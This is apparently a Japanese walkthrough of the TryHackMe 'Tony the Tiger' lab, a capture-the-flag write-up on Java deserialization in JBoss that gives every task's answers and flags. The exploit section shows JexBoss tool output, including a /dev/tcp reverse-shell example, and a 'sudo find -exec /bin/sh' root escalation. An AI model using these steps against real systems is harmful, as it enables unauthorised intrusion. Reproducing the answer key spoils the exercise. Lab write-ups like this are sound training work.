概要
TryHackMe「Tony the Tiger」のWalkthroughです。
Task2
Q1.What is a great IRL example of an "Object"?
A.lamp
Q2.What is the acronym of a possible type of attack resulting from a "serialisation" attack?
A.dos
Q3.What lower-level format does data within "Objects" get converted into?
A.byte streams
Task3
Q1.What service is running on port "8080"
ポートスキャンを実行します。
$ nmap -Pn -sCV -T4 -p- 10.49.136.209 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d6:97:8c:b9:74:d0:f3:9e:fe:f3:a5:ea:f8:a9:b5:7a (DSA)
| 2048 33:a4:7b:91:38:58:50:30:89:2d:e4:57:bb:07:bb:2f (RSA)
| 256 21:01:8b:37:f5:1e:2b:c5:57:f1:b0:42:b7:32:ab:ea (ECDSA)
|_ 256 f6:36:07:3c:3b:3d:71:30:c4:cd:2a:13:00:b5:25:ae (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Tony's Blog
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-generator: Hugo 0.66.0
1090/tcp open java-rmi Java RMI
|_rmi-dumpregistry: ERROR: Script execution failed (use -d to debug)
1091/tcp open java-rmi Java RMI
1098/tcp open java-rmi Java RMI
1099/tcp open java-object Java Object Serialization
| fingerprint-strings:
| NULL:
| java.rmi.MarshalledObject|
| hash[
| locBytest
| objBytesq
| ^[ur
| #http://thm-java-deserial.home:8083/q
| org.jnp.server.NamingServer_Stub
| java.rmi.server.RemoteStub
| java.rmi.server.RemoteObject
| xpwA
| UnicastRef2
|_ thm-java-deserial.home
3873/tcp open java-object Java Object Serialization
4446/tcp open java-object Java Object Serialization
4712/tcp open msdtc Microsoft Distributed Transaction Coordinator (error)
4713/tcp open pulseaudio?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
|_ 126a
5445/tcp open smbdirect?
5455/tcp open apc-5455?
5500/tcp open hotline?
| fingerprint-strings:
| DNSStatusRequestTCP, GenericLines, GetRequest, NULL:
| CRAM-MD5
| DIGEST-MD5
| NTLM
| GSSAPI
| thm-java-deserial
| DNSVersionBindReqTCP:
| GSSAPI
| CRAM-MD5
| NTLM
| DIGEST-MD5
| thm-java-deserial
| HTTPOptions:
| GSSAPI
| CRAM-MD5
| DIGEST-MD5
| NTLM
| thm-java-deserial
| Help:
| DIGEST-MD5
| GSSAPI
| CRAM-MD5
| NTLM
| thm-java-deserial
| Kerberos:
| CRAM-MD5
| GSSAPI
| NTLM
| DIGEST-MD5
| thm-java-deserial
| RPCCheck:
| DIGEST-MD5
| NTLM
| CRAM-MD5
| GSSAPI
| thm-java-deserial
| RTSPRequest:
| NTLM
| GSSAPI
| DIGEST-MD5
| CRAM-MD5
| thm-java-deserial
| SSLSessionReq:
| NTLM
| DIGEST-MD5
| GSSAPI
| CRAM-MD5
| thm-java-deserial
| TLSSessionReq:
| CRAM-MD5
| NTLM
| DIGEST-MD5
| GSSAPI
| thm-java-deserial
| TerminalServerCookie:
| CRAM-MD5
| GSSAPI
| DIGEST-MD5
| NTLM
|_ thm-java-deserial
5501/tcp open tcpwrapped
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
| Supported methods: GET HEAD POST PUT DELETE TRACE OPTIONS
| Potentially risky methods: PUT DELETE TRACE
|_ See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Welcome to JBoss AS
|_http-server-header: Apache-Coyote/1.1
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_ Potentially risky methods: PUT DELETE TRACE
8083/tcp open http JBoss service httpd
|_http-title: Site doesn't have a title (text/html).
8080ポートで動作しているサービスが、分かりました。
A.Apache Tomcat/Coyote JSP engine 1.1
Q2.What is the name of the front-end application running on "8080"?
A.JBoss
Task4
Q1.This flag will have the formatting of "THM{}"
/posts/frosted-flakes/へアクセスすると、画像があります。
画像を保存し、ファイル内の文字を調べるとフラグを入手できました。
$ strings be2sOV9.jpg | grep "THM{"
}THM{Tony_Sure_Loves_Frosted_Flakes}
'THM{Tony_Sure_Loves_Frosted_Flakes}(dQ
A.THM{Tony_Sure_Loves_Frosted_Flakes}
Task6
Q1.This flag has the formatting of "THM{}"
8080ポートから、JBossの管理者ログイン画面に遷移出来ました。
JBoss 6を使用していると分かりました。
該当バージョンの脆弱性を検索すると、JexBossという脆弱性を発見しました。
以下POCを使用します。
実行すると、シェルを取得できました。
* --- JexBoss: Jboss verify and EXploitation Tool --- *
| * And others Java Deserialization Vulnerabilities * |
| |
| @author: João Filho Matos Figueiredo |
| @contact: joaomatosf@gmail.com |
| |
| @update: https://github.com/joaomatosf/jexboss |
#______________________________________________________#
@version: 1.2.4
* Checking for updates in: http://joaomatosf.com/rnp/releases.txt **
** Checking Host: http://10.49.139.228:8080 **
[*] Checking admin-console: [ EXPOSED ]
[*] Checking Struts2: [ OK ]
[*] Checking Servlet Deserialization: [ OK ]
[*] Checking Application Deserialization: [ OK ]
[*] Checking Jenkins: [ OK ]
[*] Checking web-console: [ OK ]
[*] Checking jmx-console: [ VULNERABLE ]
[*] Checking JMXInvokerServlet: [ VULNERABLE ]
* Do you want to try to run an automated exploitation via "admin-console" ?
If successful, this operation will provide a simple command shell to execute
commands on the server..
Continue only if you have permission!
yes/NO? yes
* Sending exploit code to http://10.49.139.228:8080. Please wait...
* Info: Trying to perform authentication with default credentials...
* Info: Successfully logged in! Wait...
* Successfully deployed code! Starting command shell. Please wait...
# ----------------------------------------- # LOL # ----------------------------------------- #
* http://10.49.139.228:8080:
# ----------------------------------------- #
* For a Reverse Shell (like meterpreter =]), type the command:
jexremote=YOUR_IP:YOUR_PORT
Example:
Shell>jexremote=192.168.0.10:4444
Or use other techniques of your choice, like:
Shell>/bin/bash -i > /dev/tcp/192.168.0.10/4444 0>&1 2>&1
And so on... =]
# ----------------------------------------- #
Failed to check for updates
Linux thm-java-deserial 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Failed to check for updates
Ubuntu 14.04.6 LTS
\l
Failed to check for updates
uid=1000(cmnatic) gid=1000(cmnatic) groups=1000(cmnatic),4(adm),24(cdrom),30(dip),46(plugdev),110(lpadmin),111(sambashare)
フラグを入手できました。
Shell> cat /home/jboss/.jboss.txt
Failed to check for updates
THM{50c10ad46b5793704601ecdad865eb06}
A.THM{50c10ad46b5793704601ecdad865eb06}
Task7
Q1.The final flag does not have the formatting of "THM{}"
/home/cmnatic/to-do.txtを確認すると、JBossフォルダに何かあると分かりました。
Failed to check for updates
I like to keep a track of the various things I do throughout the day.
Things I have done today:
- Added a note for JBoss to read for when he next logs in.
- Helped Tony setup his website!
- Made sure that I am not an administrator account
Things to do:
- Update my Java! I've heard it's kind of in-secure, but it's such a headache to update. Grrr!
/home/jboss/noteを確認すると、Password: likeabossという情報を得られました。
Failed to check for updates
Hey JBoss!
Following your email, I have tried to replicate the issues you were having with the system.
However, I don't know what commands you executed - is there any file where this history is stored that I can access?
Oh! I almost forgot... I have reset your password as requested (make sure not to tell it to anyone!)
Password: likeaboss
Kind Regards,
CMNatic
得られたパスワードで、JBossアカウントにSSH接続が出来ました。
$ ssh jboss@10.49.139.228
jboss@thm-java-deserial:~$ id
uid=1001(jboss) gid=1001(jboss) groups=1001(jboss)
sudo -lで確認すると、findコマンドが許可されています。
jboss@thm-java-deserial:~$ sudo -l
Matching Defaults entries for jboss on thm-java-deserial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jboss may run the following commands on thm-java-deserial:
(ALL) NOPASSWD: /usr/bin/find
権限昇格テクニックがGTFOBinsで見つかりました。
サイトを参考にコマンドを実行すると、rootアカウントに昇格出来ました。
jboss@thm-java-deserial:~$ sudo /usr/bin/find . -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
フラグの内容を閲覧出来ましたが、Base64でエンコードされています。
# cat /root/root.txt
QkM3N0FDMDcyRUUzMEUzNzYwODA2ODY0RTIzNEM3Q0Y==
Base64でデコードします。
$ echo "QkM3N0FDMDcyRUUzMEUzNzYwODA2ODY0RTIzNEM3Q0Y==" | base64 -d
BC77AC072EE30E3760806864E234C7CFbase64: 無効な入力
デコードした文字のハッシュ値を解析すると、zxcvbnm123456789が平文だと分かりました。
A.zxcvbnm123456789


